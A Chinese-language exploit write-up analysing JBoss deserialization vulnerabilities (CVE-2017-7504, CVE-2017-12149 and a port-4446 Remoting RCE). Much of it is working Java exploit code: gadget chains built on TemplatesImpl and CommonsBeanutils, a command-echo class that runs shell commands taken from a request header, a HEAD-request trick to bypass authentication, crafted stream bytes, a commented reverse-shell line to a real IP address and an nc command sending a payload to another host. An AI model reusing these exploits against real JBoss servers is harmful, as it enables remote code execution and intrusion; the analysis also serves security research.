JBoss的远程调试 版本6
修改对应的 /bin/run.bat
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y %JAVA_OPTS%
idea直接debug进行配置
如果还是没有,org.jboss.remoting.transport.socket.ServerTread这个类
既然是JBoss Remoting Connector。定位到jboss-remoting.jar
中的org.jboss.remoting.transport.socket.ServerThread
类。该线程类处理接收到的socket数据流。分析关键方法durun()
。
可以发现只有jar包,没解压出这个类,直接idea模块导入 jboss-remoting.jar
这个包,即可然后下断点
前言
JBoss是一个基于J2EE开发源代码的应用服务器,是一个开源的。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范, 但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或 Jetty绑定使用。
CVE-2017-7504
这个漏洞仅仅是一个反序列化的,下载地址:https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA
影响版本:JBoss AS 4.x及之前版本
安装成功后需要修改jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml
,设置远程访问
漏洞分析
看到
jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml
可以看到这是一个servlet,可以通过设置路由进行访问
存在一个 HTTPServerILServlet 的 servlet,跟进到类
org.jboss.mq.il.http.servlet.HTTPServerILServlet
直接对输入的流进行readObject造成漏洞
CVE-2017-12149
影响版本:5.x、6.x
下载地址:https://jbossas.jboss.org/downloads/,我这里下载的版本为JBoss AS 6.1.0.Final
漏洞分析
漏洞触发点在org.jboss.invocation.http.servlet.ReadOnlyAccessFilter#doFilter
方法
可以看出它从POST中获取数据,然后调用readObject()方法对数据流进行反序列化
在web.xml中发现了过滤路由的位置
在org.jboss.invocation.http.servlet.InvokerServlet#processRequest
同样存在反序列化点
并且,doget 、dopost都会调用processRequest这个方法
有危险的路由
/invoker/readonly/*
/invoker/JMXInvokerServlet/*
/invoker/EJBInvokerServlet/*
/invoker/JMXInvokerHAServlet/*
/invoker/EJBInvokerHAServlet/*
/invoker/restricted/JMXInvokerServlet/* (需要登录)
可利用的jar包依赖
commons-collections-3.1.jar
commons-beanutils-1.8.0.jar
hibernate-core-3.6.6.Final.jar
访问500错误说明有漏洞,这里先用工具实验一下,(yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com))
JBossInterceptors1
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javassist.ClassPool;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.*;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorInvocation;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class poc {
public static String string;
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//public InterceptorMethodHandler(Object targetInstance,
// ClassMetadata<?> targetClassMetadata,
// InterceptionModel<ClassMetadata<?>, ?> interceptionModel,
// InterceptorInstantiator<?, ?> interceptorInstantiator,
// InvocationContextFactory invocationContextFactory)
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
// TemplatesImpl obj = new TemplatesImpl();
// setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
// setFieldValue(obj, "_name", "1");
// setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
TemplatesImpl obj=(TemplatesImpl)getTemplatesImpl();
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return obj;
}
};
InterceptorMethodHandler exp = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(exp);
out.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
// org.jboss.interceptor.proxy.InterceptorMethodHandler
// TemplatesImpl templates=(TemplatesImpl) getTemplatesImpl();
// templates.newTransformer();
}
public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
TemplatesImpl templates=new TemplatesImpl();
byte[] evilBytes=getEvilBytes();
setFieldValue(templates,"_name","JYcxk");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
ClassPool classPool = new ClassPool(true);
CtClass hello = classPool.makeClass("Hello");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
hello.setSuperclass(ctClass);
CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
//ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/8080 0>&1\"});");
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
hello.addConstructor(ctConstructor);
byte[] bytes=hello.toBytecode();
hello.detach();
return bytes;
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:74, InterceptorInvocation$InterceptorMethodInvocation (org.jboss.interceptor.proxy)
invokeNextInterceptor:87, SimpleInterceptionChain (org.jboss.interceptor.proxy)
executeInterception:133, InterceptorMethodHandler (org.jboss.interceptor.proxy)
readObject:158, InterceptorMethodHandler (org.jboss.interceptor.proxy)
直接进行调用链分析:
看到org.jboss.interceptor.proxy.InterceptorMethodHandler
的初始化
任意调用方法的点在InterceptorInvocation$InterceptorMethodInvocation
内部类中,并且内部类构造方法是包权限,
里面的invoke我们调用后面invoke,因为要用Templates#newTransformer()无参数
this.method.getJavaMethod().invoke(this.instance);
public class InterceptorMethodInvocation {
T instance;
MethodMetadata method;
InterceptorMethodInvocation(T instance, MethodMetadata method) {
this.instance = instance;
this.method = method;
}
Object invoke(InvocationContext invocationContext) throws Exception {
return invocationContext != null ? this.method.getJavaMethod().invoke(this.instance, invocationContext) : this.method.getJavaMethod().invoke(this.instance);
//getJavaMethod()就是一个封装很好实现,instance需要成为我们的Templates对象,是个泛型应该也没问题
}
简单看一下就行,就是初始化类的时候有些复杂。
回显构造
需要用一下idea中的远程调试
首先先看一下当前线程:Thread.currentThread()
遍历线程组可以获取到:org.apache.catalina.connector.Request,然后通过getResponse()方法得到Response,最后getWriter()方法回显,代码如下:
Object resp=Thread.currentThread().threadLocals.table[27].value;
Object writer=resp.getClass().getDeclaredMethod("getOutputStream").invoke(resp);
writer.getClass().getDeclaredMethod("write",byte[].class).invoke(writer,"hello".getBytes());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
但是数组的顺序是不确定的,所以需要用一种方式来代替:
数组的下标,通过org.apache.catalina.connector.Request 来代替
接下来的思路就是Entry[]table中某个值如何获取,table属于ThreadLocalMap的字段值, 可以通过如下方式获取
Class threadLocalMapClass=Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableFiled=threadLocalMapClass.getDeclaredField("table");
tableFiled.setAccessible(true);
这里获得的table是个数组,其具体值要通过get获得。value则属于Entry类的属性,同样它的值也需要反射get方法获得。
Class entryClass=Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField=entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class JbossEcho extends AbstractTranslet{
static {
try {
Thread thread = Thread.currentThread();
Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] Entries = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object entry : Entries) {
if (entry != null) {
try {
Object httpConnection = entryValueField.get(entry);
if (httpConnection != null) {
if (httpConnection.getClass().getName().equals("org.apache.catalina.connector.Request")) {
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)httpConnection;
org.apache.catalina.connector.Response response = request.getResponse();
response.setStatus(200);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getHeader("cmd")} : new String[]{"cmd.exe", "/c", request.getHeader("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
} catch (IllegalAccessException e) {
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}
绕过waf
/invoker/readonly/*
/invoker/JMXInvokerServlet/*
/invoker/EJBInvokerServlet/*
/invoker/JMXInvokerHAServlet/*
/invoker/EJBInvokerHAServlet/*
/invoker/restricted/JMXInvokerServlet/* (需要登录)
这是上面的危险路由,我们利用的是/invoker/readonly因为是filter所以不存在被拦截,
但是这里加个鉴权/restricted/* 中,并且不能使用GET、POST方法
可以看到 HEAD 头会调用doGet,而 GET 也会触发反序列,所以可以绕过登录实现反序列化 但是由于是NobodyResponse,所以我们需要在header头实现回显,改为:
response.addHeader("echo",output);
response.flushBuffer();
并且用HEAD请求方法即可
JBoss EAP/AS <=6.*RCE
测试版本:jboss-6.1.0.Final
主要原因是:jboss启动会默认开启4446端口,然后4446端口通过一些条件,就会有端口反序列化rce,和一条jndi的gadget
jboss会默认开启的端口
端口 | 状态 | 目的 |
---|---|---|
1098 | 启用 | RMI 命名服务 |
3528 | 已禁用 | IANA 分配的 IIOP 端口 |
4444 | 启用 | RMI JRMP 调用程序 |
4445 | 启用 | RMI 池调用程序 |
4446 | 启用 | 远程服务器连接器 |
4447 | 启用 | 远程服务器连接器 |
4457 | 启用 | 远程服务器连接器 |
4712 | 启用 | JBossTS 恢复管理器 |
4713 | 启用 | JBossTS 事务状态管理器 |
4714 | 启用 | JBossTS 的进程 ID |
8080 | 启用 | HTTP 连接器 |
8083 | 启用 | RMI 类加载迷你 Web 服务器 |
8443 | 启用 | JBossWS HTTPS 连接器套接字 |
问题出在4446,这是个Remoting3端口,
首先会调用这个参数,windows直接
然后在下面的run()方法下个断点,直接调试到那里面,然后到dorun()方法
这里dorun()会直接获得我们的输入流
然后通过代码下面进入 processInvocation方法
通过this.socketWrapper
获取socket的输入流和输出流,然后进入processInvocation()
处理。在获取输入流的过程中,如果随便传输一字符串会报错,定位到:
org.jboss.remoting.transport.socket.ClientSocketWrapper#createInputStream
。
通过org.jboss.remoting.marshal.PreferredStreamUnMarshaller#getMarshallingStream(java.io.InputStream)
处理socket接收的数据流is
。中间经java.io.ObjectInputStream#readStreamHeader()
进行处理。判断是否满足s0 == STREAM_MAGIC && s1 == STREAM_VERSION
。如下图所示:
其中,STREAM_MAGIC0
和STREAM_VERSION
恰好是熟悉的反序列化头aced0005
(说明上面条件爱你需要是 flase | false,也就是等于这个序列化头,等于版本5) |
然后就会回到org.jboss.remoting.transport.ServerThread#processInvocation
又抛出异常。
问题:this.version==-1不成立,导致了抛出异常,那么看一下 readVersion方法
readVersion—>又通过inputStream.read()获得的版本号
跟踪inputStream.read()
,经过java.io.ObjectInputStream.BlockDataInputStream#read() -> java.io.ObjectInputStream.BlockDataInputStream#refill()
。
初始unread的值为0,则会调用readBlockHeader(true)这个方法
我们需要构造in.peek()
取到的值为TC_BLOCKDATA
,类上面定义的值,为 0x77
final static byte TC_BLOCKDATA = (byte)0x77;
然后返回hbuf[1]
,即0x77
后面的值,这里设置为0x01
。即通过readBlockHeader()
方法后返回值为1。
(0x01 & 0xFF ==1)
这里就会退出循环
重新回到java.io.ObjectInputStream.BlockDataInputStream#read()
中:
返回(buf[pos++] & 0xFF)
,此时buf
经以上处理后为0x01
后1位的数据,即0x02
,pos
为0,即返回buf[0]&0xFF
——2。
综上,设置0xaced0005770102数据流进入以上流程处理后,返回的version为2。
0xaced0005 反序列化头 第一层判定
77 TC_BLOCKDATA的值, 否则不能返回值 &
01 返回一位也就是2
02 最后控制的版本号,!=-1所以不会抛出异常
然后进入
org.jboss.remoting.transport.socket.ServerThread#completeInvocation()`方法。
通过
org.jboss.remoting.transport.socket.ServerThread#versionedRead->org.jboss.invocation.unified.marshall.InvocationUnMarshaller#read(java.io.InputStream, java.util.Map, int) -> org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject
进入receiveObject()
方法。
读取上面读取到的version
值,如果为2,则进入receiveObjectVersion1_2
处理。继续跟进,看到熟悉的objInputStream.readObject();
。
jboss linux启动命令 ./run.sh -b 0.0.0.0 &
at ser.bin | nc 1.94.96.143 4446 | hexdump -c
但是如果直接反序列化0xaced0005770102 ,直接反序列化会报错
继续分析报错原因:定位到java.io.ObjectInputStream#readObject0
方法:
通过tc = bin.peekByte()
得到的数据进行分支判断,直接序列化后的数据头为-84
,无法匹配以下任意值
而正常反序列化流程需进入readOrdinaryObject(unshared)
:
而`TC_OBJECT`值为`0x73`,即去掉序列化头`aced0005`后剩余的部分。
然后jboss自带CB1.8.3依赖
只需要把序列化头改为 0xaced0x730005770102即可
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
/**
* @ClassName CBTest
* @Author aY
* @Date 2023/3/12 21:40
* @Description
*/
public class CBTest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=(TemplatesImpl)getTemplatesImpl();
// TemplatesImpl templates = new TemplatesImpl();
// Class tc = templates.getClass();
//
// Field namefield = tc.getDeclaredField("_name");
// namefield.setAccessible(true);
// namefield.set(templates,"aaaa");
// Field bytecodesield = tc.getDeclaredField("_bytecodes");
// bytecodesield.setAccessible(true);
//
// Field tfactoryfield = tc.getDeclaredField("_tfactory");
// tfactoryfield.setAccessible(true);
// tfactoryfield.set(templates, new TransformerFactoryImpl());
//
// byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
// byte[][] codes={code};
// //private byte[][] _bytecodes = null;
// bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("payload.ser");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
ClassPool classPool = new ClassPool(true);
CtClass hello = classPool.makeClass("Hello");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
hello.setSuperclass(ctClass);
CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
//ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/8080 0>&1\"});");
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
hello.addConstructor(ctConstructor);
byte[] bytes=hello.toBytecode();
hello.detach();
return bytes;
}
public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
TemplatesImpl templates=new TemplatesImpl();
byte[] evilBytes=getEvilBytes();
setFieldValue(templates,"_name","JYcxk");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
}
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。